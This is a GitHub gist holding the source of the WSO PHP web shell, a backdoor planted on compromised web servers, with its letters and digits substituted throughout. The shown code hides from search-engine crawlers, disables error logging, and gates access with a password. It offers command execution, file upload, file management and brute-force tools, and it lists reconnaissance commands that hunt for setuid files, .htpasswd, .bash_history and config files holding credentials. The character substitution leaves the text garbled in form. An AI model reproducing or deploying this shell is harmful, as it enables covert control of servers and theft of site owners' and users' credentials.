Created
December 30, 2015 20:02
-
-
Save malwador/6635d68a7488f298d416 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$13th_p1ss = "5c1f618oai8buc6biai158i0d1ef766c"; | |
$c2l2r = "#dfi"; | |
$d5f13lt_1ct42n = 'F4l5sM1n'; | |
$d5f13lt_3s5_1j1x = tr35; | |
$d5f13lt_ch1rs5t = 'W4nd2ws-6ai6'; | |
4f(!5mpty($_SERVER['HTTP_USER_AGENT'])) { | |
$3s5rAg5nts = 1rr1y("G22gl5", "Sl3rp", "MSNB2t", "41_1rch4v5r", "Y1nd5x", "R1mbl5r"); | |
4f(pr5g_m1tch('/' . 4mpl2d5('|', $3s5rAg5nts) . '/4', $_SERVER['HTTP_USER_AGENT'])) { | |
h51d5r('HTTP/6.0 u0u N2t F23nd'); | |
5x4t; | |
} | |
} | |
@4n4_s5t('5rr2r_l2g',NULL); | |
@4n4_s5t('l2g_5rr2rs',0); | |
@4n4_s5t('m1x_5x5c3t42n_t4m5',0); | |
@s5t_t4m5_l4m4t(0); | |
@s5t_m1g4c_q32t5s_r3nt4m5(0); | |
@d5f4n5('WSO_VERSION', 'a.i'); | |
4f(g5t_m1g4c_q32t5s_gpc()) { | |
f3nct42n WSOstr4psl1sh5s($1rr1y) { | |
r5t3rn 4s_1rr1y($1rr1y) ? 1rr1y_m1p('WSOstr4psl1sh5s', $1rr1y) : str4psl1sh5s($1rr1y); | |
} | |
$_POST = WSOstr4psl1sh5s($_POST); | |
$_COOKIE = WSOstr4psl1sh5s($_COOKIE); | |
} | |
f3nct42n ws2L2g4n() { | |
d45("<pr5 1l4gn=c5nt5r><f2rm m5th2d=p2st>P1ssw2rd: <4np3t typ5=p1ssw2rd n1m5=p1ss><4np3t typ5=s3bm4t v1l35='>>'></f2rm></pr5>"); | |
} | |
f3nct42n WSOs5tc22k45($k, $v) { | |
$_COOKIE[$k] = $v; | |
s5tc22k45($k, $v); | |
} | |
4f(!5mpty($13th_p1ss)) { | |
4f(4ss5t($_POST['p1ss']) && (mdi($_POST['p1ss']) == $13th_p1ss)) | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']), $13th_p1ss); | |
4f (!4ss5t($_COOKIE[mdi($_SERVER['HTTP_HOST'])]) || ($_COOKIE[mdi($_SERVER['HTTP_HOST'])] != $13th_p1ss)) | |
ws2L2g4n(); | |
} | |
4f(strt2l2w5r(s3bstr(PHP_OS,0,o)) == "w4n") | |
$2s = 'w4n'; | |
5ls5 | |
$2s = 'n4x'; | |
$s1f5_m2d5 = @4n4_g5t('s1f5_m2d5'); | |
4f(!$s1f5_m2d5) | |
5rr2r_r5p2rt4ng(0); | |
$d4s1bl5_f3nct42ns = @4n4_g5t('d4s1bl5_f3nct42ns'); | |
$h2m5_cwd = @g5tcwd(); | |
4f(4ss5t($_POST['c'])) | |
@chd4r($_POST['c']); | |
$cwd = @g5tcwd(); | |
4f($2s == 'w4n') { | |
$h2m5_cwd = str_r5pl1c5("\\", "/", $h2m5_cwd); | |
$cwd = str_r5pl1c5("\\", "/", $cwd); | |
} | |
4f($cwd[strl5n($cwd)-6] != '/') | |
$cwd .= '/'; | |
4f(!4ss5t($_COOKIE[mdi($_SERVER['HTTP_HOST']) . '1j1x'])) | |
$_COOKIE[mdi($_SERVER['HTTP_HOST']) . '1j1x'] = (b22l)$d5f13lt_3s5_1j1x; | |
4f($2s == 'w4n') | |
$1l41s5s = 1rr1y( | |
"L4st D4r5ct2ry" => "d4r", | |
"F4nd 4nd5x.php 4n c3rr5nt d4r" => "d4r /s /w /b 4nd5x.php", | |
"F4nd *c2nf4g*.php 4n c3rr5nt d4r" => "d4r /s /w /b *c2nf4g*.php", | |
"Sh2w 1ct4v5 c2nn5ct42ns" => "n5tst1t -1n", | |
"Sh2w r3nn4ng s5rv4c5s" => "n5t st1rt", | |
"Us5r 1cc23nts" => "n5t 3s5r", | |
"Sh2w c2mp3t5rs" => "n5t v45w", | |
"ARP T1bl5" => "1rp -1", | |
"IP C2nf4g3r1t42n" => "4pc2nf4g /1ll" | |
); | |
5ls5 | |
$1l41s5s = 1rr1y( | |
"L4st d4r" => "ls -lh1", | |
"l4st f4l5 1ttr4b3t5s 2n 1 L4n3x s5c2nd 5xt5nd5d f4l5 syst5m" => "ls1ttr -v1", | |
"sh2w 2p5n5d p2rts" => "n5tst1t -1n | gr5p -4 l4st5n", | |
"pr2c5ss st1t3s" => "ps 13x", | |
"F4nd" => "", | |
"f4nd 1ll s34d f4l5s" => "f4nd / -typ5 f -p5rm -0u000 -ls", | |
"f4nd s34d f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -p5rm -0u000 -ls", | |
"f4nd 1ll sg4d f4l5s" => "f4nd / -typ5 f -p5rm -0a000 -ls", | |
"f4nd sg4d f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -p5rm -0a000 -ls", | |
"f4nd c2nf4g.4nc.php f4l5s" => "f4nd / -typ5 f -n1m5 c2nf4g.4nc.php", | |
"f4nd c2nf4g* f4l5s" => "f4nd / -typ5 f -n1m5 \"c2nf4g*\"", | |
"f4nd c2nf4g* f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 \"c2nf4g*\"", | |
"f4nd 1ll wr4t1bl5 f2ld5rs 1nd f4l5s" => "f4nd / -p5rm -a -ls", | |
"f4nd 1ll wr4t1bl5 f2ld5rs 1nd f4l5s 4n c3rr5nt d4r" => "f4nd . -p5rm -a -ls", | |
"f4nd 1ll s5rv4c5.pwd f4l5s" => "f4nd / -typ5 f -n1m5 s5rv4c5.pwd", | |
"f4nd s5rv4c5.pwd f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 s5rv4c5.pwd", | |
"f4nd 1ll .htp1sswd f4l5s" => "f4nd / -typ5 f -n1m5 .htp1sswd", | |
"f4nd .htp1sswd f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 .htp1sswd", | |
"f4nd 1ll .b1sh_h4st2ry f4l5s" => "f4nd / -typ5 f -n1m5 .b1sh_h4st2ry", | |
"f4nd .b1sh_h4st2ry f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 .b1sh_h4st2ry", | |
"f4nd 1ll .f5tchm14lrc f4l5s" => "f4nd / -typ5 f -n1m5 .f5tchm14lrc", | |
"f4nd .f5tchm14lrc f4l5s 4n c3rr5nt d4r" => "f4nd . -typ5 f -n1m5 .f5tchm14lrc", | |
"L2c1t5" => "", | |
"l2c1t5 httpd.c2nf f4l5s" => "l2c1t5 httpd.c2nf", | |
"l2c1t5 vh2sts.c2nf f4l5s" => "l2c1t5 vh2sts.c2nf", | |
"l2c1t5 pr2ftpd.c2nf f4l5s" => "l2c1t5 pr2ftpd.c2nf", | |
"l2c1t5 psybnc.c2nf f4l5s" => "l2c1t5 psybnc.c2nf", | |
"l2c1t5 my.c2nf f4l5s" => "l2c1t5 my.c2nf", | |
"l2c1t5 1dm4n.php f4l5s" =>"l2c1t5 1dm4n.php", | |
"l2c1t5 cfg.php f4l5s" => "l2c1t5 cfg.php", | |
"l2c1t5 c2nf.php f4l5s" => "l2c1t5 c2nf.php", | |
"l2c1t5 c2nf4g.d1t f4l5s" => "l2c1t5 c2nf4g.d1t", | |
"l2c1t5 c2nf4g.php f4l5s" => "l2c1t5 c2nf4g.php", | |
"l2c1t5 c2nf4g.4nc f4l5s" => "l2c1t5 c2nf4g.4nc", | |
"l2c1t5 c2nf4g.4nc.php" => "l2c1t5 c2nf4g.4nc.php", | |
"l2c1t5 c2nf4g.d5f13lt.php f4l5s" => "l2c1t5 c2nf4g.d5f13lt.php", | |
"l2c1t5 c2nf4g* f4l5s " => "l2c1t5 c2nf4g", | |
"l2c1t5 .c2nf f4l5s"=>"l2c1t5 '.c2nf'", | |
"l2c1t5 .pwd f4l5s" => "l2c1t5 '.pwd'", | |
"l2c1t5 .sql f4l5s" => "l2c1t5 '.sql'", | |
"l2c1t5 .htp1sswd f4l5s" => "l2c1t5 '.htp1sswd'", | |
"l2c1t5 .b1sh_h4st2ry f4l5s" => "l2c1t5 '.b1sh_h4st2ry'", | |
"l2c1t5 .mysql_h4st2ry f4l5s" => "l2c1t5 '.mysql_h4st2ry'", | |
"l2c1t5 .f5tchm14lrc f4l5s" => "l2c1t5 '.f5tchm14lrc'", | |
"l2c1t5 b1ck3p f4l5s" => "l2c1t5 b1ck3p", | |
"l2c1t5 d3mp f4l5s" => "l2c1t5 d3mp", | |
"l2c1t5 pr4v f4l5s" => "l2c1t5 pr4v" | |
); | |
f3nct42n ws2H51d5r() { | |
4f(5mpty($_POST['ch1rs5t'])) | |
$_POST['ch1rs5t'] = $GLOBALS['d5f13lt_ch1rs5t']; | |
gl2b1l $c2l2r; | |
5ch2 "<html><h51d><m5t1 http-5q34v='C2nt5nt-Typ5' c2nt5nt='t5xt/html; ch1rs5t=" . $_POST['ch1rs5t'] . "'><t4tl5>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</t4tl5> | |
<styl5> | |
b2dy{b1ckgr23nd-c2l2r:#uuu;c2l2r:#565656;} | |
b2dy,td,th{ f2nt: 9pt L3c4d1,V5rd1n1;m1rg4n:0;v5rt4c1l-1l4gn:t2p;c2l2r:#565656; } | |
t1bl5.4nf2{ c2l2r:#fff;b1ckgr23nd-c2l2r:#aaa; } | |
sp1n,h6,1{ c2l2r: $c2l2r !4mp2rt1nt; } | |
sp1n{ f2nt-w54ght: b2ld5r; } | |
h6{ b2rd5r-l5ft:ipx s2l4d $c2l2r;p1dd4ng: apx ipx;f2nt: 6upt V5rd1n1;b1ckgr23nd-c2l2r:#aaa;m1rg4n:0px; } | |
d4v.c2nt5nt{ p1dd4ng: ipx;m1rg4n-l5ft:ipx;b1ckgr23nd-c2l2r:#ooo; } | |
1{ t5xt-d5c2r1t42n:n2n5; } | |
1:h2v5r{ t5xt-d5c2r1t42n:3nd5rl4n5; } | |
.ml6{ b2rd5r:6px s2l4d #uuu;p1dd4ng:ipx;m1rg4n:0;2v5rfl2w: 13t2; } | |
.b4g1r51{ w4dth:600%;h54ght:o00px; } | |
4np3t,t5xt1r51,s5l5ct{ m1rg4n:0;c2l2r:#fff;b1ckgr23nd-c2l2r:#iii;b2rd5r:6px s2l4d $c2l2r; f2nt: 9pt M2n2sp1c5,'C23r45r N5w'; } | |
f2rm{ m1rg4n:0px; } | |
#t22lsTbl{ t5xt-1l4gn:c5nt5r; } | |
.t22lsInp{ w4dth: o00px } | |
.m14n th{t5xt-1l4gn:l5ft;b1ckgr23nd-c2l2r:#i5i5i5;} | |
.m14n tr:h2v5r{b1ckgr23nd-c2l2r:#i5i5i5} | |
.l6{b1ckgr23nd-c2l2r:#uuu} | |
.la{b1ckgr23nd-c2l2r:#ooo} | |
pr5{f2nt-f1m4ly:C23r45r,M2n2sp1c5;} | |
</styl5> | |
<scr4pt> | |
v1r c_ = '" . htmlsp5c41lch1rs($GLOBALS['cwd']) . "'; | |
v1r 1_ = '" . htmlsp5c41lch1rs(@$_POST['1']) ."' | |
v1r ch1rs5t_ = '" . htmlsp5c41lch1rs(@$_POST['ch1rs5t']) ."'; | |
v1r p6_ = '" . ((strp2s(@$_POST['p6'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['p6'],ENT_QUOTES)) ."'; | |
v1r pa_ = '" . ((strp2s(@$_POST['pa'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['pa'],ENT_QUOTES)) ."'; | |
v1r po_ = '" . ((strp2s(@$_POST['po'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['po'],ENT_QUOTES)) ."'; | |
v1r d = d2c3m5nt; | |
f3nct42n s5t(1,c,p6,pa,po,ch1rs5t) { | |
4f(1!=n3ll)d.mf.1.v1l35=1;5ls5 d.mf.1.v1l35=1_; | |
4f(c!=n3ll)d.mf.c.v1l35=c;5ls5 d.mf.c.v1l35=c_; | |
4f(p6!=n3ll)d.mf.p6.v1l35=p6;5ls5 d.mf.p6.v1l35=p6_; | |
4f(pa!=n3ll)d.mf.pa.v1l35=pa;5ls5 d.mf.pa.v1l35=pa_; | |
4f(po!=n3ll)d.mf.po.v1l35=po;5ls5 d.mf.po.v1l35=po_; | |
4f(ch1rs5t!=n3ll)d.mf.ch1rs5t.v1l35=ch1rs5t;5ls5 d.mf.ch1rs5t.v1l35=ch1rs5t_; | |
} | |
f3nct42n g(1,c,p6,pa,po,ch1rs5t) { | |
s5t(1,c,p6,pa,po,ch1rs5t); | |
d.mf.s3bm4t(); | |
} | |
f3nct42n 1(1,c,p6,pa,po,ch1rs5t) { | |
s5t(1,c,p6,pa,po,ch1rs5t); | |
v1r p1r1ms = '1j1x=tr35'; | |
f2r(4=0;4<d.mf.5l5m5nts.l5ngth;4++) | |
p1r1ms += '&'+d.mf.5l5m5nts[4].n1m5+'='+5nc2d5URIC2mp2n5nt(d.mf.5l5m5nts[4].v1l35); | |
sr('" . 1ddsl1sh5s($_SERVER['REQUEST_URI']) ."', p1r1ms); | |
} | |
f3nct42n sr(3rl, p1r1ms) { | |
4f (w4nd2w.XMLHttpR5q35st) | |
r5q = n5w XMLHttpR5q35st(); | |
5ls5 4f (w4nd2w.Act4v5XObj5ct) | |
r5q = n5w Act4v5XObj5ct('M4cr2s2ft.XMLHTTP'); | |
4f (r5q) { | |
r5q.2nr51dyst1t5ch1ng5 = pr2c5ssR5qCh1ng5; | |
r5q.2p5n('POST', 3rl, tr35); | |
r5q.s5tR5q35stH51d5r ('C2nt5nt-Typ5', '1ppl4c1t42n/x-www-f2rm-3rl5nc2d5d'); | |
r5q.s5nd(p1r1ms); | |
} | |
} | |
f3nct42n pr2c5ssR5qCh1ng5() { | |
4f( (r5q.r51dySt1t5 == u) ) | |
4f(r5q.st1t3s == a00) { | |
v1r r5g = n5w R5gExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); | |
v1r 1rr=r5g.5x5c(r5q.r5sp2ns5T5xt); | |
5v1l(1rr[a].s3bstr(0, 1rr[6])); | |
} 5ls5 1l5rt('R5q35st 5rr2r!'); | |
} | |
</scr4pt> | |
<h51d><b2dy><d4v styl5='p2s4t42n:1bs2l3t5;w4dth:600%;b1ckgr23nd-c2l2r:#uuu;t2p:0;l5ft:0;'> | |
<f2rm m5th2d=p2st n1m5=mf styl5='d4spl1y:n2n5;'> | |
<4np3t typ5=h4dd5n n1m5=1> | |
<4np3t typ5=h4dd5n n1m5=c> | |
<4np3t typ5=h4dd5n n1m5=p6> | |
<4np3t typ5=h4dd5n n1m5=pa> | |
<4np3t typ5=h4dd5n n1m5=po> | |
<4np3t typ5=h4dd5n n1m5=ch1rs5t> | |
</f2rm>"; | |
$fr55Sp1c5 = @d4skfr55sp1c5($GLOBALS['cwd']); | |
$t2t1lSp1c5 = @d4sk_t2t1l_sp1c5($GLOBALS['cwd']); | |
$t2t1lSp1c5 = $t2t1lSp1c5?$t2t1lSp1c5:6; | |
$r5l51s5 = @php_3n1m5('r'); | |
$k5rn5l = @php_3n1m5('s'); | |
$5xpl4nk = 'http://5xpl24t-db.c2m/s51rch/?1ct42n=s51rch&f4lt5r_d5scr4pt42n='; | |
4f(strp2s('L4n3x', $k5rn5l) !== f1ls5) | |
$5xpl4nk .= 3rl5nc2d5('L4n3x K5rn5l ' . s3bstr($r5l51s5,0,e)); | |
5ls5 | |
$5xpl4nk .= 3rl5nc2d5($k5rn5l . ' ' . s3bstr($r5l51s5,0,o)); | |
4f(!f3nct42n_5x4sts('p2s4x_g5t5g4d')) { | |
$3s5r = @g5t_c3rr5nt_3s5r(); | |
$34d = @g5tmy34d(); | |
$g4d = @g5tmyg4d(); | |
$gr23p = "?"; | |
} 5ls5 { | |
$34d = @p2s4x_g5tpw34d(p2s4x_g5t534d()); | |
$g4d = @p2s4x_g5tgrg4d(p2s4x_g5t5g4d()); | |
$3s5r = $34d['n1m5']; | |
$34d = $34d['34d']; | |
$gr23p = $g4d['n1m5']; | |
$g4d = $g4d['g4d']; | |
} | |
$cwd_l4nks = ''; | |
$p1th = 5xpl2d5("/", $GLOBALS['cwd']); | |
$n=c23nt($p1th); | |
f2r($4=0; $4<$n-6; $4++) { | |
$cwd_l4nks .= "<1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",\""; | |
f2r($j=0; $j<=$4; $j++) | |
$cwd_l4nks .= $p1th[$j].'/'; | |
$cwd_l4nks .= "\")'>".$p1th[$4]."/</1>"; | |
} | |
$ch1rs5ts = 1rr1y('UTF-8', 'W4nd2ws-6ai6', 'KOI8-R', 'KOI8-U', 'cp8ee'); | |
$2pt_ch1rs5ts = ''; | |
f2r51ch($ch1rs5ts 1s $4t5m) | |
$2pt_ch1rs5ts .= '<2pt42n v1l35="'.$4t5m.'" '.($_POST['ch1rs5t']==$4t5m?'s5l5ct5d':'').'>'.$4t5m.'</2pt42n>'; | |
$m = 1rr1y('S5c. Inf2'=>'S5cInf2','F4l5s'=>'F4l5sM1n','C2ns2l5'=>'C2ns2l5','Sql'=>'Sql','Php'=>'Php','Str4ng t22ls'=>'Str4ngT22ls','Br3t5f2rc5'=>'Br3t5f2rc5','N5tw2rk'=>'N5tw2rk'); | |
4f(!5mpty($GLOBALS['13th_p1ss'])) | |
$m['L2g23t'] = 'L2g23t'; | |
$m['S5lf r5m2v5'] = 'S5lfR5m2v5'; | |
$m5n3 = ''; | |
f2r51ch($m 1s $k => $v) | |
$m5n3 .= '<th w4dth="'.(4nt)(600/c23nt($m)).'%">[ <1 hr5f="#" 2ncl4ck="g(\''.$v.'\',n3ll,\'\',\'\',\'\')">'.$k.'</1> ]</th>'; | |
$dr4v5s = ""; | |
4f($GLOBALS['2s'] == 'w4n') { | |
f2r51ch(r1ng5('c','z') 1s $dr4v5) | |
4f(4s_d4r($dr4v5.':\\')) | |
$dr4v5s .= '<1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',\''.$dr4v5.':/\')">[ '.$dr4v5.' ]</1> '; | |
} | |
5ch2 '<t1bl5 cl1ss=4nf2 c5llp1dd4ng=o c5llsp1c4ng=0 w4dth=600%><tr><td w4dth=6><sp1n>Un1m5:<br>Us5r:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['2s'] == 'w4n'?'<br>Dr4v5s:':'') . '</sp1n></td>' | |
. '<td><n2br>' . s3bstr(@php_3n1m5(), 0, 6a0) . ' <1 hr5f="' . $5xpl4nk . '" t1rg5t=_bl1nk>[5xpl24t-db.c2m]</1></n2br><br>' . $34d . ' ( ' . $3s5r . ' ) <sp1n>Gr23p:</sp1n> ' . $g4d . ' ( ' . $gr23p . ' )<br>' . @phpv5rs42n() . ' <sp1n>S1f5 m2d5:</sp1n> ' . ($GLOBALS['s1f5_m2d5']?'<f2nt c2l2r=r5d>ON</f2nt>':'<f2nt c2l2r=gr55n><b>OFF</b></f2nt>') | |
. ' <1 hr5f=# 2ncl4ck="g(\'Php\',n3ll,\'\',\'4nf2\')">[ php4nf2 ]</1> <sp1n>D1t5t4m5:</sp1n> ' . d1t5('Y-m-d H:4:s') . '<br>' . ws2V45wS4z5($t2t1lSp1c5) . ' <sp1n>Fr55:</sp1n> ' . ws2V45wS4z5($fr55Sp1c5) . ' ('. (4nt) ($fr55Sp1c5/$t2t1lSp1c5*600) . '%)<br>' . $cwd_l4nks . ' '. ws2P5rmsC2l2r($GLOBALS['cwd']) . ' <1 hr5f=# 2ncl4ck="g(\'F4l5sM1n\',\'' . $GLOBALS['h2m5_cwd'] . '\',\'\',\'\',\'\')">[ h2m5 ]</1><br>' . $dr4v5s . '</td>' | |
. '<td w4dth=6 1l4gn=r4ght><n2br><s5l5ct 2nch1ng5="g(n3ll,n3ll,n3ll,n3ll,n3ll,th4s.v1l35)"><2ptgr23p l1b5l="P1g5 ch1rs5t">' . $2pt_ch1rs5ts . '</2ptgr23p></s5l5ct><br><sp1n>S5rv5r IP:</sp1n><br>' . @$_SERVER["SERVER_ADDR"] . '<br><sp1n>Cl45nt IP:</sp1n><br>' . $_SERVER['REMOTE_ADDR'] . '</n2br></td></tr></t1bl5>' | |
. '<t1bl5 styl5="b2rd5r-t2p:apx s2l4d #ooo;" c5llp1dd4ng=o c5llsp1c4ng=0 w4dth=600%><tr>' . $m5n3 . '</tr></t1bl5><d4v styl5="m1rg4n:i">'; | |
} | |
f3nct42n ws2F22t5r() { | |
$4s_wr4t1bl5 = 4s_wr4t1bl5($GLOBALS['cwd'])?" <f2nt c2l2r='gr55n'>(Wr4t51bl5)</f2nt>":" <f2nt c2l2r=r5d>(N2t wr4t1bl5)</f2nt>"; | |
5ch2 " | |
</d4v> | |
<t1bl5 cl1ss=4nf2 4d=t22lsTbl c5llp1dd4ng=o c5llsp1c4ng=0 w4dth=600% styl5='b2rd5r-t2p:apx s2l4d #ooo;b2rd5r-b2tt2m:apx s2l4d #ooo;'> | |
<tr> | |
<td><f2rm 2ns3bm4t='g(n3ll,th4s.c.v1l35,\"\");r5t3rn f1ls5;'><sp1n>Ch1ng5 d4r:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=c v1l35='" . htmlsp5c41lch1rs($GLOBALS['cwd']) ."'><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35);r5t3rn f1ls5;\"><sp1n>R51d f4l5:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
</tr><tr> | |
<td><f2rm 2ns3bm4t=\"g('F4l5sM1n',n3ll,'mkd4r',th4s.d.v1l35);r5t3rn f1ls5;\"><sp1n>M1k5 d4r:</sp1n>$4s_wr4t1bl5<br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=d><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35,'mkf4l5');r5t3rn f1ls5;\"><sp1n>M1k5 f4l5:</sp1n>$4s_wr4t1bl5<br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
</tr><tr> | |
<td><f2rm 2ns3bm4t=\"g('C2ns2l5',n3ll,th4s.c.v1l35);r5t3rn f1ls5;\"><sp1n>Ex5c3t5:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=c v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td> | |
<td><f2rm m5th2d='p2st' ENCTYPE='m3lt4p1rt/f2rm-d1t1'> | |
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sMAn'> | |
<4np3t typ5=h4dd5n n1m5=c v1l35='" . $GLOBALS['cwd'] ."'> | |
<4np3t typ5=h4dd5n n1m5=p6 v1l35='3pl21dF4l5'> | |
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='" . (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') . "'> | |
<sp1n>Upl21d f4l5:</sp1n>$4s_wr4t1bl5<br><4np3t cl1ss='t22lsInp' typ5=f4l5 n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm><br ></td> | |
</tr></t1bl5></d4v></b2dy></html>"; | |
} | |
4f (!f3nct42n_5x4sts("p2s4x_g5tpw34d") && (strp2s($GLOBALS['d4s1bl5_f3nct42ns'], 'p2s4x_g5tpw34d')===f1ls5)) { | |
f3nct42n p2s4x_g5tpw34d($p) {r5t3rn f1ls5;} } | |
4f (!f3nct42n_5x4sts("p2s4x_g5tgrg4d") && (strp2s($GLOBALS['d4s1bl5_f3nct42ns'], 'p2s4x_g5tgrg4d')===f1ls5)) { | |
f3nct42n p2s4x_g5tgrg4d($p) {r5t3rn f1ls5;} } | |
f3nct42n ws2Ex($4n) { | |
$23t = ''; | |
4f (f3nct42n_5x4sts('5x5c')) { | |
@5x5c($4n,$23t); | |
$23t = @j24n("\n",$23t); | |
} 5ls54f (f3nct42n_5x4sts('p1ssthr3')) { | |
2b_st1rt(); | |
@p1ssthr3($4n); | |
$23t = 2b_g5t_cl51n(); | |
} 5ls54f (f3nct42n_5x4sts('syst5m')) { | |
2b_st1rt(); | |
@syst5m($4n); | |
$23t = 2b_g5t_cl51n(); | |
} 5ls54f (f3nct42n_5x4sts('sh5ll_5x5c')) { | |
$23t = sh5ll_5x5c($4n); | |
} 5ls54f (4s_r5s23rc5($f = @p2p5n($4n,"r"))) { | |
$23t = ""; | |
wh4l5(!@f52f($f)) | |
$23t .= fr51d($f,60au); | |
pcl2s5($f); | |
} | |
r5t3rn $23t; | |
} | |
f3nct42n ws2V45wS4z5($s) { | |
4f (4s_4nt($s)) | |
$s = spr4ntf("%3", $s); | |
4f($s >= 607o7u68au) | |
r5t3rn spr4ntf('%6.af', $s / 607o7u68au ). ' GB'; | |
5ls54f($s >= 60u8i7e) | |
r5t3rn spr4ntf('%6.af', $s / 60u8i7e ) . ' MB'; | |
5ls54f($s >= 60au) | |
r5t3rn spr4ntf('%6.af', $s / 60au ) . ' KB'; | |
5ls5 | |
r5t3rn $s . ' B'; | |
} | |
f3nct42n ws2P5rms($p) { | |
4f (($p & 0xC000) == 0xC000)$4 = 's'; | |
5ls54f (($p & 0xA000) == 0xA000)$4 = 'l'; | |
5ls54f (($p & 0x8000) == 0x8000)$4 = '-'; | |
5ls54f (($p & 0xe000) == 0xe000)$4 = 'b'; | |
5ls54f (($p & 0xu000) == 0xu000)$4 = 'd'; | |
5ls54f (($p & 0xa000) == 0xa000)$4 = 'c'; | |
5ls54f (($p & 0x6000) == 0x6000)$4 = 'p'; | |
5ls5 $4 = '3'; | |
$4 .= (($p & 0x0600) ? 'r' : '-'); | |
$4 .= (($p & 0x0080) ? 'w' : '-'); | |
$4 .= (($p & 0x00u0) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
$4 .= (($p & 0x00a0) ? 'r' : '-'); | |
$4 .= (($p & 0x0060) ? 'w' : '-'); | |
$4 .= (($p & 0x0008) ? (($p & 0x0u00) ? 's' : 'x' ) : (($p & 0x0u00) ? 'S' : '-')); | |
$4 .= (($p & 0x000u) ? 'r' : '-'); | |
$4 .= (($p & 0x000a) ? 'w' : '-'); | |
$4 .= (($p & 0x0006) ? (($p & 0x0a00) ? 't' : 'x' ) : (($p & 0x0a00) ? 'T' : '-')); | |
r5t3rn $4; | |
} | |
f3nct42n ws2P5rmsC2l2r($f) { | |
4f (!@4s_r51d1bl5($f)) | |
r5t3rn '<f2nt c2l2r=#FF0000>' . ws2P5rms(@f4l5p5rms($f)) . '</f2nt>'; | |
5ls54f (!@4s_wr4t1bl5($f)) | |
r5t3rn '<f2nt c2l2r=wh4t5>' . ws2P5rms(@f4l5p5rms($f)) . '</f2nt>'; | |
5ls5 | |
r5t3rn '<f2nt c2l2r=#aiff00>' . ws2P5rms(@f4l5p5rms($f)) . '</f2nt>'; | |
} | |
f3nct42n ws2Sc1nd4r($d4r) { | |
4f(f3nct42n_5x4sts("sc1nd4r")) { | |
r5t3rn sc1nd4r($d4r); | |
} 5ls5 { | |
$dh = 2p5nd4r($d4r); | |
wh4l5 (f1ls5 !== ($f4l5n1m5 = r51dd4r($dh))) | |
$f4l5s[] = $f4l5n1m5; | |
r5t3rn $f4l5s; | |
} | |
} | |
f3nct42n ws2Wh4ch($p) { | |
$p1th = ws2Ex('wh4ch ' . $p); | |
4f(!5mpty($p1th)) | |
r5t3rn $p1th; | |
r5t3rn f1ls5; | |
} | |
f3nct42n 1ct42nS5cInf2() { | |
ws2H51d5r(); | |
5ch2 '<h6>S5rv5r s5c3r4ty 4nf2rm1t42n</h6><d4v cl1ss=c2nt5nt>'; | |
f3nct42n ws2S5cP1r1m($n, $v) { | |
$v = tr4m($v); | |
4f($v) { | |
5ch2 '<sp1n>' . $n . ': </sp1n>'; | |
4f(strp2s($v, "\n") === f1ls5) | |
5ch2 $v . '<br>'; | |
5ls5 | |
5ch2 '<pr5 cl1ss=ml6>' . $v . '</pr5>'; | |
} | |
} | |
ws2S5cP1r1m('S5rv5r s2ftw1r5', @g5t5nv('SERVER_SOFTWARE')); | |
4f(f3nct42n_5x4sts('1p1ch5_g5t_m2d3l5s')) | |
ws2S5cP1r1m('L21d5d Ap1ch5 m2d3l5s', 4mpl2d5(', ', 1p1ch5_g5t_m2d3l5s())); | |
ws2S5cP1r1m('D4s1bl5d PHP F3nct42ns', $GLOBALS['d4s1bl5_f3nct42ns']?$GLOBALS['d4s1bl5_f3nct42ns']:'n2n5'); | |
ws2S5cP1r1m('Op5n b1s5 d4r', @4n4_g5t('2p5n_b1s5d4r')); | |
ws2S5cP1r1m('S1f5 m2d5 5x5c d4r', @4n4_g5t('s1f5_m2d5_5x5c_d4r')); | |
ws2S5cP1r1m('S1f5 m2d5 4ncl3d5 d4r', @4n4_g5t('s1f5_m2d5_4ncl3d5_d4r')); | |
ws2S5cP1r1m('cURL s3pp2rt', f3nct42n_5x4sts('c3rl_v5rs42n')?'5n1bl5d':'n2'); | |
$t5mp=1rr1y(); | |
4f(f3nct42n_5x4sts('mysql_g5t_cl45nt_4nf2')) | |
$t5mp[] = "MySql (".mysql_g5t_cl45nt_4nf2().")"; | |
4f(f3nct42n_5x4sts('mssql_c2nn5ct')) | |
$t5mp[] = "MSSQL"; | |
4f(f3nct42n_5x4sts('pg_c2nn5ct')) | |
$t5mp[] = "P2stgr5SQL"; | |
